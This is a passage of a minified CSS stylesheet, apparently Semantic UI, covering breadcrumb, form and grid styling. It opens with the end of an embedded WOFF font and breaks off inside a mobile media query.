N4IgWHTTbqS4LTHGJBIzMhkFX6Pv0IfpS/RZ+puMpShNmMx3vjlz5mQAXOMbAvnzxJGzwBmjnAs4Rc9ykf7Zcon8YrmMKt4sn9C/W67gAYHlKm7wwQqidM5ogU/LAlfi0nIBF+LOcpH+0XKJ3LNcxq14tXxC71muYCJSy1Xci6+BWm11FIRG1gZ12W62OnK6lYoqStxYumsTKp3KvpyrxPhxrBxPLfc89oN17Op9uJ8nvk4jlciW09yrkZ/42jX+bFc93QRtY+ZyrtVSDm2GXGm18D3jhMasuo3G3/MwgMIKW2hEvKoQBhI12jrnNppooUOaMkMyM8+KkMBFTONizR1htpIy7nPMGSW0PjNisgOP3+WRH5MC7o9ZRR+tHsYT0u6MKPOSfTns7jBrREqyTDezs9/eU2x4WpvWcNeuS511JTE8qCF5H7u1BY1H72S3Ymi7aPD95/9+AN1fhEsAeJxjYGKAAC4G7ICZgYGRiZGZMzkjNTk7N7Eomy05syg5J5WBAQBE1QZBAABLuADIUlixAQGOWbkIAAgAYyCwASNEsAMjcLIEKAlFUkSyCgIHKrEGAUSxJAGIUViwQIhYsQYDRLEmAYhRWLgEAIhYsQYBRFlZWVm4Af+FsASNsQUARAAA) format('woff')}.ui.breadcrumb{line-height:1;display:inline-block;margin:0;vertical-align:middle}.ui.breadcrumb:first-child{margin-top:0}.ui.breadcrumb:last-child{margin-bottom:0}.ui.breadcrumb .divider{display:inline-block;opacity:.7;margin:0 .21428571rem;font-size:.92857143em;color:rgba(0,0,0,.4);vertical-align:baseline}.ui.breadcrumb a{color:#4183C4}.ui.breadcrumb a:hover{color:#1e70bf}.ui.breadcrumb .icon.divider{font-size:.85714286em;vertical-align:baseline}.ui.breadcrumb a.section{cursor:pointer}.ui.breadcrumb .section{display:inline-block;margin:0;padding:0}.ui.breadcrumb.segment{display:inline-block;padding:.78571429em 1em}.ui.breadcrumb .active.section{font-weight:700}.ui.mini.breadcrumb{font-size:.78571429rem}.ui.tiny.breadcrumb{font-size:.85714286rem}.ui.small.breadcrumb{font-size:.92857143rem}.ui.breadcrumb{font-size:1rem}.ui.large.breadcrumb{font-size:1.14285714rem}.ui.big.breadcrumb{font-size:1.28571429rem}.ui.huge.breadcrumb{font-size:1.42857143rem}.ui.massive.breadcrumb{font-size:1.71428571rem}.ui.form{position:relative;max-width:100%}.ui.form>p{margin:1em 0}.ui.form .field{clear:both;margin:0 0 1em}.ui.form .field:last-child,.ui.form .fields:last-child .field{margin-bottom:0}.ui.form .fields .field{clear:both;margin:0}.ui.form .field>label{display:block;margin:0 0 .28571429rem;color:rgba(0,0,0,.87);font-size:.92857143em;font-weight:700;text-transform:none}.ui.form input:not([type]),.ui.form input[type=text],.ui.form input[type=email],.ui.form input[type=search],.ui.form input[type=password],.ui.form input[type=date],.ui.form input[type=datetime-local],.ui.form input[type=tel],.ui.form input[type=time],.ui.form input[type=file],.ui.form input[type=url],.ui.form input[type=number],.ui.form textarea{width:100%;vertical-align:top}.ui.form ::-webkit-datetime-edit,.ui.form ::-webkit-inner-spin-button{height:1.2142em}.ui.form input:not([type]),.ui.form input[type=text],.ui.form input[type=email],.ui.form input[type=search],.ui.form input[type=password],.ui.form input[type=date],.ui.form input[type=datetime-local],.ui.form input[type=tel],.ui.form input[type=time],.ui.form input[type=file],.ui.form input[type=url],.ui.form input[type=number]{margin:0;outline:0;-webkit-appearance:none;tap-highlight-color:rgba(255,255,255,0);line-height:1.2142em;padding:.67861429em 1em;font-size:1em;background:#FFF;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 0 0 0 transparent inset;-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease}.ui.form textarea{margin:0;-webkit-appearance:none;tap-highlight-color:rgba(255,255,255,0);padding:.78571429em 1em;background:#FFF;border:1px solid rgba(34,36,38,.15);outline:0;color:rgba(0,0,0,.87);border-radius:.28571429rem;box-shadow:0 0 0 0 transparent inset;-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease;font-size:1em;line-height:1.2857;resize:vertical}.ui.form textarea:not([rows]){height:12em;min-height:8em;max-height:24em}.ui.form input[type=checkbox],.ui.form textarea{vertical-align:top}.ui.form input.attached{width:auto}.ui.form select{display:block;height:auto;width:100%;background:#FFF;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;box-shadow:0 0 0 0 transparent inset;padding:.62em 1em;color:rgba(0,0,0,.87);-webkit-transition:color .1s ease,border-color .1s ease;transition:color .1s ease,border-color .1s ease}.ui.form .field>.selection.dropdown{width:100%}.ui.form .field>.selection.dropdown>.dropdown.icon{float:right}.ui.form .inline.field>.selection.dropdown,.ui.form .inline.fields .field>.selection.dropdown{width:auto}.ui.form .inline.field>.selection.dropdown>.dropdown.icon,.ui.form .inline.fields .field>.selection.dropdown>.dropdown.icon{float:none}.ui.form .field .ui.input,.ui.form .fields .field .ui.input,.ui.form .wide.field .ui.input{width:100%}.ui.form .inline.field:not(.wide) .ui.input,.ui.form .inline.fields .field:not(.wide) .ui.input{width:auto;vertical-align:middle}.ui.form .field .ui.input input,.ui.form .fields .field .ui.input input{width:auto}.ui.form .eight.fields .ui.input input,.ui.form .five.fields .ui.input input,.ui.form .four.fields .ui.input input,.ui.form .nine.fields .ui.input input,.ui.form .seven.fields .ui.input input,.ui.form .six.fields .ui.input input,.ui.form .ten.fields .ui.input input,.ui.form .three.fields .ui.input input,.ui.form .two.fields .ui.input input,.ui.form .wide.field .ui.input input{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:0}.ui.form .error.message,.ui.form .success.message,.ui.form .warning.message{display:none}.ui.form .message:first-child{margin-top:0}.ui.form .field .prompt.label{white-space:normal;background:#FFF!important;border:1px solid #E0B4B4!important;color:#9F3A38!important}.ui.form .inline.field .prompt,.ui.form .inline.fields .field .prompt{vertical-align:top;margin:-.25em 0 -.5em .5em}.ui.form .inline.field .prompt:before,.ui.form .inline.fields .field .prompt:before{border-width:0 0 1px 1px;bottom:auto;right:auto;top:50%;left:0}.ui.form .field.field input:-webkit-autofill{box-shadow:0 0 0 100px ivory inset!important;border-color:#E5DFA1!important}.ui.form .field.field input:-webkit-autofill:focus{box-shadow:0 0 0 100px ivory inset!important;border-color:#D5C315!important}.ui.form .error.error input:-webkit-autofill{box-shadow:0 0 0 100px #FFFAF0 inset!important;border-color:#E0B4B4!important}.ui.form ::-webkit-input-placeholder{color:rgba(191,191,191,.87)}.ui.form :-ms-input-placeholder{color:rgba(191,191,191,.87)}.ui.form ::-moz-placeholder{color:rgba(191,191,191,.87)}.ui.form :focus::-webkit-input-placeholder{color:rgba(115,115,115,.87)}.ui.form :focus:-ms-input-placeholder{color:rgba(115,115,115,.87)}.ui.form :focus::-moz-placeholder{color:rgba(115,115,115,.87)}.ui.form .error ::-webkit-input-placeholder{color:#e7bdbc}.ui.form .error :-ms-input-placeholder{color:#e7bdbc!important}.ui.form .error ::-moz-placeholder{color:#e7bdbc}.ui.form .error :focus::-webkit-input-placeholder{color:#da9796}.ui.form .error :focus:-ms-input-placeholder{color:#da9796!important}.ui.form .error :focus::-moz-placeholder{color:#da9796}.ui.form input:not([type]):focus,.ui.form input[type=text]:focus,.ui.form input[type=email]:focus,.ui.form input[type=search]:focus,.ui.form input[type=password]:focus,.ui.form input[type=date]:focus,.ui.form input[type=datetime-local]:focus,.ui.form input[type=tel]:focus,.ui.form input[type=time]:focus,.ui.form input[type=file]:focus,.ui.form input[type=url]:focus,.ui.form input[type=number]:focus{color:rgba(0,0,0,.95);border-color:#85B7D9;border-radius:.28571429rem;background:#FFF;box-shadow:0 0 0 0 rgba(34,36,38,.35) inset}.ui.form textarea:focus{color:rgba(0,0,0,.95);border-color:#85B7D9;border-radius:.28571429rem;background:#FFF;box-shadow:0 0 0 0 rgba(34,36,38,.35) inset;-webkit-appearance:none}.ui.form.success .success.message:not(:empty){display:block}.ui.form.success .compact.success.message:not(:empty){display:inline-block}.ui.form.success .icon.success.message:not(:empty){display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ui.form.warning .warning.message:not(:empty){display:block}.ui.form.warning .compact.warning.message:not(:empty){display:inline-block}.ui.form.warning .icon.warning.message:not(:empty){display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ui.form.error .error.message:not(:empty){display:block}.ui.form.error .compact.error.message:not(:empty){display:inline-block}.ui.form.error .icon.error.message:not(:empty){display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.ui.form .field.error .input,.ui.form .field.error label,.ui.form .fields.error .field .input,.ui.form .fields.error .field label{color:#9F3A38}.ui.form .field.error .corner.label,.ui.form .fields.error .field .corner.label{border-color:#9F3A38;color:#FFF}.ui.form .field.error input:not([type]),.ui.form .field.error input[type=text],.ui.form .field.error input[type=email],.ui.form .field.error input[type=search],.ui.form .field.error input[type=password],.ui.form .field.error input[type=date],.ui.form .field.error input[type=datetime-local],.ui.form .field.error input[type=tel],.ui.form .field.error input[type=time],.ui.form .field.error input[type=file],.ui.form .field.error input[type=url],.ui.form .field.error input[type=number],.ui.form .field.error select,.ui.form .field.error textarea,.ui.form .fields.error .field input:not([type]),.ui.form .fields.error .field input[type=text],.ui.form .fields.error .field input[type=email],.ui.form .fields.error .field input[type=search],.ui.form .fields.error .field input[type=password],.ui.form .fields.error .field input[type=date],.ui.form .fields.error .field input[type=datetime-local],.ui.form .fields.error .field input[type=tel],.ui.form .fields.error .field input[type=time],.ui.form .fields.error .field input[type=file],.ui.form .fields.error .field input[type=url],.ui.form .fields.error .field input[type=number],.ui.form .fields.error .field select,.ui.form .fields.error .field textarea{background:#FFF6F6;border-color:#E0B4B4;color:#9F3A38;border-radius:'';box-shadow:none}.ui.form .field.error input:not([type]):focus,.ui.form .field.error input[type=text]:focus,.ui.form .field.error input[type=email]:focus,.ui.form .field.error input[type=search]:focus,.ui.form .field.error input[type=password]:focus,.ui.form .field.error input[type=date]:focus,.ui.form .field.error input[type=datetime-local]:focus,.ui.form .field.error input[type=tel]:focus,.ui.form .field.error input[type=time]:focus,.ui.form .field.error input[type=file]:focus,.ui.form .field.error input[type=url]:focus,.ui.form .field.error input[type=number]:focus,.ui.form .field.error select:focus,.ui.form .field.error textarea:focus{background:#FFF6F6;border-color:#E0B4B4;color:#9F3A38;-webkit-appearance:none;box-shadow:none}.ui.form .field.error select{-webkit-appearance:menulist-button}.ui.form .field.error .ui.dropdown,.ui.form .field.error .ui.dropdown .item,.ui.form .field.error .ui.dropdown .text,.ui.form .fields.error .field .ui.dropdown,.ui.form .fields.error .field .ui.dropdown .item{background:#FFF6F6;color:#9F3A38}.ui.form .field.error .ui.dropdown,.ui.form .field.error .ui.dropdown:hover,.ui.form .fields.error .field .ui.dropdown,.ui.form .fields.error .field .ui.dropdown:hover{border-color:#E0B4B4!important}.ui.form .field.error .ui.dropdown:hover .menu,.ui.form .fields.error .field .ui.dropdown:hover .menu{border-color:#E0B4B4}.ui.form .field.error .ui.multiple.selection.dropdown>.label,.ui.form .fields.error .field .ui.multiple.selection.dropdown>.label{background-color:#EACBCB;color:#9F3A38}.ui.form .field.error .ui.dropdown .menu .item:hover,.ui.form .field.error .ui.dropdown .menu .selected.item,.ui.form .fields.error .field .ui.dropdown .menu .item:hover,.ui.form .fields.error .field .ui.dropdown .menu .selected.item{background-color:#FBE7E7}.ui.form .field.error .ui.dropdown .menu .active.item,.ui.form .fields.error .field .ui.dropdown .menu .active.item{background-color:#FDCFCF!important}.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box,.ui.form .field.error .checkbox:not(.toggle):not(.slider) label,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label{color:#9F3A38}.ui.form .field.error .checkbox:not(.toggle):not(.slider) .box:before,.ui.form .field.error .checkbox:not(.toggle):not(.slider) label:before,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) .box:before,.ui.form .fields.error .field .checkbox:not(.toggle):not(.slider) label:before{background:#FFF6F6;border-color:#E0B4B4}.ui.form .field.error .checkbox .box:after,.ui.form .field.error .checkbox label:after,.ui.form .fields.error .field .checkbox .box:after,.ui.form .fields.error .field .checkbox label:after{color:#9F3A38}.ui.form .disabled.field,.ui.form .disabled.fields .field,.ui.form .field :disabled{pointer-events:none;opacity:.45}.ui.form .field.disabled>label,.ui.form .fields.disabled>label{opacity:.45}.ui.form .field.disabled :disabled{opacity:1}.ui.loading.form{position:relative;cursor:default;pointer-events:none}.ui.loading.form:before{position:absolute;content:'';top:0;left:0;background:rgba(255,255,255,.8);width:100%;height:100%;z-index:100}.ui.loading.form:after{position:absolute;content:'';top:50%;left:50%;margin:-1.5em 0 0 -1.5em;width:3em;height:3em;-webkit-animation:form-spin .6s linear;animation:form-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 rgba(0,0,0,.1) rgba(0,0,0,.1);border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent;visibility:visible;z-index:101}@-webkit-keyframes form-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes form-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.form .required.field>.checkbox:after,.ui.form .required.field>label:after,.ui.form .required.fields.grouped>label:after,.ui.form .required.fields:not(.grouped)>.field>.checkbox:after,.ui.form .required.fields:not(.grouped)>.field>label:after{margin:-.2em 0 0 .2em;content:'*';color:#DB2828}.ui.form .required.field>label:after,.ui.form .required.fields.grouped>label:after,.ui.form .required.fields:not(.grouped)>.field>label:after{display:inline-block;vertical-align:top}.ui.form .required.field>.checkbox:after,.ui.form .required.fields:not(.grouped)>.field>.checkbox:after{position:absolute;top:0;left:100%}.ui.form .inverted.segment .ui.checkbox .box,.ui.form .inverted.segment .ui.checkbox label,.ui.form .inverted.segment label,.ui.inverted.form .inline.field>label,.ui.inverted.form .inline.field>p,.ui.inverted.form .inline.fields .field>label,.ui.inverted.form .inline.fields .field>p,.ui.inverted.form .inline.fields>label,.ui.inverted.form .ui.checkbox .box,.ui.inverted.form .ui.checkbox label,.ui.inverted.form label{color:rgba(255,255,255,.9)}.ui.inverted.form input:not([type]),.ui.inverted.form input[type=text],.ui.inverted.form input[type=email],.ui.inverted.form input[type=search],.ui.inverted.form input[type=password],.ui.inverted.form input[type=date],.ui.inverted.form input[type=datetime-local],.ui.inverted.form input[type=tel],.ui.inverted.form input[type=time],.ui.inverted.form input[type=file],.ui.inverted.form input[type=url],.ui.inverted.form input[type=number]{background:#FFF;border-color:rgba(255,255,255,.1);color:rgba(0,0,0,.87);box-shadow:none}.ui.form .grouped.fields{display:block;margin:0 0 1em}.ui.form .grouped.fields:last-child{margin-bottom:0}.ui.form .grouped.fields>label{margin:0 0 .28571429rem;color:rgba(0,0,0,.87);font-size:.92857143em;font-weight:700;text-transform:none}.ui.form .grouped.fields .field,.ui.form .grouped.inline.fields .field{display:block;margin:.5em 0;padding:0}.ui.form .fields{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;margin:0 -.5em 1em}.ui.form .fields>.field{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;padding-left:.5em;padding-right:.5em}.ui.form .fields>.field:first-child{border-left:none;box-shadow:none}.ui.form .two.fields>.field,.ui.form .two.fields>.fields{width:50%}.ui.form .three.fields>.field,.ui.form .three.fields>.fields{width:33.33333333%}.ui.form .four.fields>.field,.ui.form .four.fields>.fields{width:25%}.ui.form .five.fields>.field,.ui.form .five.fields>.fields{width:20%}.ui.form .six.fields>.field,.ui.form .six.fields>.fields{width:16.66666667%}.ui.form .seven.fields>.field,.ui.form .seven.fields>.fields{width:14.28571429%}.ui.form .eight.fields>.field,.ui.form .eight.fields>.fields{width:12.5%}.ui.form .nine.fields>.field,.ui.form .nine.fields>.fields{width:11.11111111%}.ui.form .ten.fields>.field,.ui.form .ten.fields>.fields{width:10%}@media only screen and (max-width:767px){.ui.form .fields{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.ui.form .eight.fields>.field,.ui.form .eight.fields>.fields,.ui.form .five.fields>.field,.ui.form .five.fields>.fields,.ui.form .four.fields>.field,.ui.form .four.fields>.fields,.ui.form .nine.fields>.field,.ui.form .nine.fields>.fields,.ui.form .seven.fields>.field,.ui.form .seven.fields>.fields,.ui.form .six.fields>.field,.ui.form .six.fields>.fields,.ui.form .ten.fields>.field,.ui.form .ten.fields>.fields,.ui.form .three.fields>.field,.ui.form .three.fields>.fields,.ui.form .two.fields>.field,.ui.form .two.fields>.fields,.ui.form [class*="equal width"].fields>.field,.ui[class*="equal width"].form .fields>.field{width:100%!important;margin:0 0 1em}}.ui.form .fields .wide.field{width:6.25%;padding-left:.5em;padding-right:.5em}.ui.form .one.wide.field{width:6.25%!important}.ui.form .two.wide.field{width:12.5%!important}.ui.form .three.wide.field{width:18.75%!important}.ui.form .four.wide.field{width:25%!important}.ui.form .five.wide.field{width:31.25%!important}.ui.form .six.wide.field{width:37.5%!important}.ui.form .seven.wide.field{width:43.75%!important}.ui.form .eight.wide.field{width:50%!important}.ui.form .nine.wide.field{width:56.25%!important}.ui.form .ten.wide.field{width:62.5%!important}.ui.form .eleven.wide.field{width:68.75%!important}.ui.form .twelve.wide.field{width:75%!important}.ui.form .thirteen.wide.field{width:81.25%!important}.ui.form .fourteen.wide.field{width:87.5%!important}.ui.form .fifteen.wide.field{width:93.75%!important}.ui.form .sixteen.wide.field{width:100%!important}@media only screen and (max-width:767px){.ui.form .fields>.eight.wide.field,.ui.form .fields>.eleven.wide.field,.ui.form .fields>.fifteen.wide.field,.ui.form .fields>.five.wide.field,.ui.form .fields>.four.wide.field,.ui.form .fields>.fourteen.wide.field,.ui.form .fields>.nine.wide.field,.ui.form .fields>.seven.wide.field,.ui.form .fields>.six.wide.field,.ui.form .fields>.sixteen.wide.field,.ui.form .fields>.ten.wide.field,.ui.form .fields>.thirteen.wide.field,.ui.form .fields>.three.wide.field,.ui.form .fields>.twelve.wide.field,.ui.form .fields>.two.wide.field,.ui.form .five.fields>.field,.ui.form .five.fields>.fields,.ui.form .four.fields>.field,.ui.form .four.fields>.fields,.ui.form .three.fields>.field,.ui.form .three.fields>.fields,.ui.form .two.fields>.field,.ui.form .two.fields>.fields{width:100%!important}.ui.form .fields{margin-bottom:0}}.ui.form [class*="equal width"].fields>.field,.ui[class*="equal width"].form .fields>.field{width:100%;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}.ui.form .inline.fields{margin:0 0 1em;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.ui.form .inline.fields .field{margin:0;padding:0 1em 0 0}.ui.form .inline.field>label,.ui.form .inline.field>p,.ui.form .inline.fields .field>label,.ui.form .inline.fields .field>p,.ui.form .inline.fields>label{display:inline-block;width:auto;margin-top:0;margin-bottom:0;vertical-align:baseline;font-size:.92857143em;font-weight:700;color:rgba(0,0,0,.87);text-transform:none}.ui.form .inline.fields>label{margin:.035714em 1em 0 0}.ui.form .inline.field>input,.ui.form .inline.field>select,.ui.form .inline.fields .field>input,.ui.form .inline.fields .field>select{display:inline-block;width:auto;margin-top:0;margin-bottom:0;vertical-align:middle;font-size:1em}.ui.form .inline.field>:first-child,.ui.form .inline.fields .field>:first-child{margin:0 .85714286em 0 0}.ui.form .inline.field>:only-child,.ui.form .inline.fields .field>:only-child{margin:0}.ui.form .inline.fields .wide.field{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.ui.form .inline.fields .wide.field>input,.ui.form .inline.fields .wide.field>select{width:100%}.ui.mini.form{font-size:.78571429rem}.ui.tiny.form{font-size:.85714286rem}.ui.small.form{font-size:.92857143rem}.ui.form{font-size:1rem}.ui.large.form{font-size:1.14285714rem}.ui.big.form{font-size:1.28571429rem}.ui.huge.form{font-size:1.42857143rem}.ui.massive.form{font-size:1.71428571rem}.ui.grid{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;padding:0;margin:-1rem}.ui.relaxed.grid{margin-left:-1.5rem;margin-right:-1.5rem}.ui[class*="very relaxed"].grid{margin-left:-2.5rem;margin-right:-2.5rem}.ui.grid+.grid{margin-top:1rem}.ui.grid>.column:not(.row),.ui.grid>.row>.column{position:relative;display:inline-block;width:6.25%;padding-left:1rem;padding-right:1rem;vertical-align:top}.ui.grid>*{padding-left:1rem;padding-right:1rem}.ui.grid>.row{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:inherit;-webkit-justify-content:inherit;-ms-flex-pack:inherit;justify-content:inherit;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch;width:100%!important;padding:1rem 0}.ui.grid>.column:not(.row){padding-top:1rem;padding-bottom:1rem}.ui.grid>.row>.column{margin-top:0;margin-bottom:0}.ui.grid>.row>.column>img,.ui.grid>.row>img{max-width:100%}.ui.grid>.ui.grid:first-child{margin-top:0}.ui.grid>.ui.grid:last-child{margin-bottom:0}.ui.aligned.grid .column>.segment:not(.compact):not(.attached),.ui.grid .aligned.row>.column>.segment:not(.compact):not(.attached){width:100%}.ui.grid .row+.ui.divider{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;margin:1rem}.ui.grid .column+.ui.vertical.divider{height:calc(50% - 1rem)}.ui.grid>.column:last-child>.horizontal.segment,.ui.grid>.row>.column:last-child>.horizontal.segment{box-shadow:none}@media only screen and (max-width:767px){.ui.page.grid{width:auto;padding-left:0;padding-right:0;margin-left:0;margin-right:0}}@media only screen and (min-width:768px) and (max-width:991px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:2em;padding-right:2em}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:3%;padding-right:3%}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:15%;padding-right:15%}}@media only screen and (min-width:1920px){.ui.page.grid{width:auto;margin-left:0;margin-right:0;padding-left:23%;padding-right:23%}}.ui.grid>.column:only-child,.ui.grid>.row>.column:only-child,.ui[class*="one column"].grid>.column:not(.row),.ui[class*="one column"].grid>.row>.column{width:100%}.ui[class*="two column"].grid>.column:not(.row),.ui[class*="two column"].grid>.row>.column{width:50%}.ui[class*="three column"].grid>.column:not(.row),.ui[class*="three column"].grid>.row>.column{width:33.33333333%}.ui[class*="four column"].grid>.column:not(.row),.ui[class*="four column"].grid>.row>.column{width:25%}.ui[class*="five column"].grid>.column:not(.row),.ui[class*="five column"].grid>.row>.column{width:20%}.ui[class*="six column"].grid>.column:not(.row),.ui[class*="six column"].grid>.row>.column{width:16.66666667%}.ui[class*="seven column"].grid>.column:not(.row),.ui[class*="seven column"].grid>.row>.column{width:14.28571429%}.ui[class*="eight column"].grid>.column:not(.row),.ui[class*="eight column"].grid>.row>.column{width:12.5%}.ui[class*="nine column"].grid>.column:not(.row),.ui[class*="nine column"].grid>.row>.column{width:11.11111111%}.ui[class*="ten column"].grid>.column:not(.row),.ui[class*="ten column"].grid>.row>.column{width:10%}.ui[class*="eleven column"].grid>.column:not(.row),.ui[class*="eleven column"].grid>.row>.column{width:9.09090909%}.ui[class*="twelve column"].grid>.column:not(.row),.ui[class*="twelve column"].grid>.row>.column{width:8.33333333%}.ui[class*="thirteen column"].grid>.column:not(.row),.ui[class*="thirteen column"].grid>.row>.column{width:7.69230769%}.ui[class*="fourteen column"].grid>.column:not(.row),.ui[class*="fourteen column"].grid>.row>.column{width:7.14285714%}.ui[class*="fifteen column"].grid>.column:not(.row),.ui[class*="fifteen column"].grid>.row>.column{width:6.66666667%}.ui[class*="sixteen column"].grid>.column:not(.row),.ui[class*="sixteen column"].grid>.row>.column{width:6.25%}.ui.grid>[class*="one column"].row>.column{width:100%!important}.ui.grid>[class*="two column"].row>.column{width:50%!important}.ui.grid>[class*="three column"].row>.column{width:33.33333333%!important}.ui.grid>[class*="four column"].row>.column{width:25%!important}.ui.grid>[class*="five column"].row>.column{width:20%!important}.ui.grid>[class*="six column"].row>.column{width:16.66666667%!important}.ui.grid>[class*="seven column"].row>.column{width:14.28571429%!important}.ui.grid>[class*="eight column"].row>.column{width:12.5%!important}.ui.grid>[class*="nine column"].row>.column{width:11.11111111%!important}.ui.grid>[class*="ten column"].row>.column{width:10%!important}.ui.grid>[class*="eleven column"].row>.column{width:9.09090909%!important}.ui.grid>[class*="twelve column"].row>.column{width:8.33333333%!important}.ui.grid>[class*="thirteen column"].row>.column{width:7.69230769%!important}.ui.grid>[class*="fourteen column"].row>.column{width:7.14285714%!important}.ui.grid>[class*="fifteen column"].row>.column{width:6.66666667%!important}.ui.grid>[class*="sixteen column"].row>.column{width:6.25%!important}.ui.celled.page.grid{box-shadow:none}.ui.column.grid>[class*="one wide"].column,.ui.grid>.column.row>[class*="one wide"].column,.ui.grid>.row>[class*="one wide"].column,.ui.grid>[class*="one wide"].column{width:6.25%!important}.ui.column.grid>[class*="two wide"].column,.ui.grid>.column.row>[class*="two wide"].column,.ui.grid>.row>[class*="two wide"].column,.ui.grid>[class*="two wide"].column{width:12.5%!important}.ui.column.grid>[class*="three wide"].column,.ui.grid>.column.row>[class*="three wide"].column,.ui.grid>.row>[class*="three wide"].column,.ui.grid>[class*="three wide"].column{width:18.75%!important}.ui.column.grid>[class*="four wide"].column,.ui.grid>.column.row>[class*="four wide"].column,.ui.grid>.row>[class*="four wide"].column,.ui.grid>[class*="four wide"].column{width:25%!important}.ui.column.grid>[class*="five wide"].column,.ui.grid>.column.row>[class*="five wide"].column,.ui.grid>.row>[class*="five wide"].column,.ui.grid>[class*="five wide"].column{width:31.25%!important}.ui.column.grid>[class*="six wide"].column,.ui.grid>.column.row>[class*="six wide"].column,.ui.grid>.row>[class*="six wide"].column,.ui.grid>[class*="six wide"].column{width:37.5%!important}.ui.column.grid>[class*="seven wide"].column,.ui.grid>.column.row>[class*="seven wide"].column,.ui.grid>.row>[class*="seven wide"].column,.ui.grid>[class*="seven wide"].column{width:43.75%!important}.ui.column.grid>[class*="eight wide"].column,.ui.grid>.column.row>[class*="eight wide"].column,.ui.grid>.row>[class*="eight wide"].column,.ui.grid>[class*="eight wide"].column{width:50%!important}.ui.column.grid>[class*="nine wide"].column,.ui.grid>.column.row>[class*="nine wide"].column,.ui.grid>.row>[class*="nine wide"].column,.ui.grid>[class*="nine wide"].column{width:56.25%!important}.ui.column.grid>[class*="ten wide"].column,.ui.grid>.column.row>[class*="ten wide"].column,.ui.grid>.row>[class*="ten wide"].column,.ui.grid>[class*="ten wide"].column{width:62.5%!important}.ui.column.grid>[class*="eleven wide"].column,.ui.grid>.column.row>[class*="eleven wide"].column,.ui.grid>.row>[class*="eleven wide"].column,.ui.grid>[class*="eleven wide"].column{width:68.75%!important}.ui.column.grid>[class*="twelve wide"].column,.ui.grid>.column.row>[class*="twelve wide"].column,.ui.grid>.row>[class*="twelve wide"].column,.ui.grid>[class*="twelve wide"].column{width:75%!important}.ui.column.grid>[class*="thirteen wide"].column,.ui.grid>.column.row>[class*="thirteen wide"].column,.ui.grid>.row>[class*="thirteen wide"].column,.ui.grid>[class*="thirteen wide"].column{width:81.25%!important}.ui.column.grid>[class*="fourteen wide"].column,.ui.grid>.column.row>[class*="fourteen wide"].column,.ui.grid>.row>[class*="fourteen wide"].column,.ui.grid>[class*="fourteen wide"].column{width:87.5%!important}.ui.column.grid>[class*="fifteen wide"].column,.ui.grid>.column.row>[class*="fifteen wide"].column,.ui.grid>.row>[class*="fifteen wide"].column,.ui.grid>[class*="fifteen wide"].column{width:93.75%!important}.ui.column.grid>[class*="sixteen wide"].column,.ui.grid>.column.row>[class*="sixteen wide"].column,.ui.grid>.row>[class*="sixteen wide"].column,.ui.grid>[class*="sixteen wide"].column{width:100%!important}@media only screen and (min-width:320px) and (max-width:767px){.ui.column.grid>[class*="one wide mobile"].column,.ui.grid>.column.row>[class*="one wide mobile"].column,.ui.grid>.row>[class*="one wide mobile"].column,.ui.grid>[class*="one wide mobile"].column{width:6.25%!important}.ui.column.grid>[class*="two wide mobile"].column,.ui.grid>.column.row>[class*="two wide mobile"].column,.ui.grid>.row>[class*="two wide mobile"].column,.ui.grid>[class*="two wide mobile"].column{width:12.5%!important}.ui.column.grid>[class*="three wide mobile"].column,.ui.grid>.column.row>[class*="three wide mobile"].column,.ui.grid>.row>[class*="three wide mobile"].column,.ui.grid>[class*="three wide mobile"].column{width:18.75%!important}.ui.column.grid>[class*="four wide mobile"].column,.ui.grid>.column.row>[class*="four wide mobile"].column,.ui.grid>.row>[class*="four wide mobile"].column,.ui.grid>[class*="four wide 